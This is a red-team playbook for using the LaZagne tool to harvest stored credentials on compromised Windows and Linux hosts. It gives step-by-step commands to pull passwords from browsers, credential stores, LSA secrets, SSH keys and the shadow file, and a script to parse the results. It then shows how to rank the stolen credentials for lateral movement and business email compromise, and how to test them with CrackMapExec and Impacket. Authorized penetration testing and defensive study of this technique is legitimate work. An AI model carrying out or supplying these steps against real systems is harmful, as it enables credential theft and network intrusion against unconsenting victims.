Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

When conducting security assessments that involve performing credential access with lazagne
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Objectives

Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
Extract credentials from all supported password stores
Parse and prioritize recovered credentials for lateral movement
Identify high-value credentials (domain admin, service accounts, cloud access)
Document credential harvesting results with appropriate evidence handling
Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

T1555 - Credentials from Password Stores
T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
T1555.004 - Credentials from Password Stores: Windows Credential Manager
T1552.001 - Unsecured Credentials: Credentials In Files
T1552.002 - Unsecured Credentials: Credentials in Registry
T1003.004 - OS Credential Dumping: LSA Secrets
T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

Transfer LaZagne to the compromised host:

# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload

# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt

Verify execution capability and privileges:

# Check current user context
whoami /priv

# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM

Phase 2: Full Credential Extraction (Windows)

Run LaZagne with all modules:

# Extract all credentials
lazagne.exe all

# Export results to JSON
lazagne.exe all -oJ

# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds

Run specific modules for targeted extraction:

# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers

# Windows credential stores
lazagne.exe windows

# Database credentials
lazagne.exe databases

# Email client credentials
lazagne.exe mails

# Wi-Fi passwords
lazagne.exe wifi

# Git credentials
lazagne.exe git

# System credentials (requires elevated privileges)
lazagne.exe sysadmin

Phase 3: Credential Extraction (Linux)

Run LaZagne on Linux targets:

# Full extraction
python3 laZagne.py all

# Browser credentials
python3 laZagne.py browsers

# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin

# Database credentials
python3 laZagne.py databases

# Git credentials
python3 laZagne.py git

Phase 4: Credential Analysis and Prioritization

Parse JSON output for unique credentials:

import json
with open("creds.json") as f:
    results = json.load(f)
for module in results:
    for entry in module.get("results", []):
        print(f"Source: {entry.get('Category')}")
        print(f"  User: {entry.get('Login', 'N/A')}")
        print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")

Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation

Phase 5: Credential Validation and Use

Validate recovered domain credentials:

# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'

# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1

Cross-reference with BloodHound paths for high-value targets
Use recovered credentials for lateral movement or privilege escalation
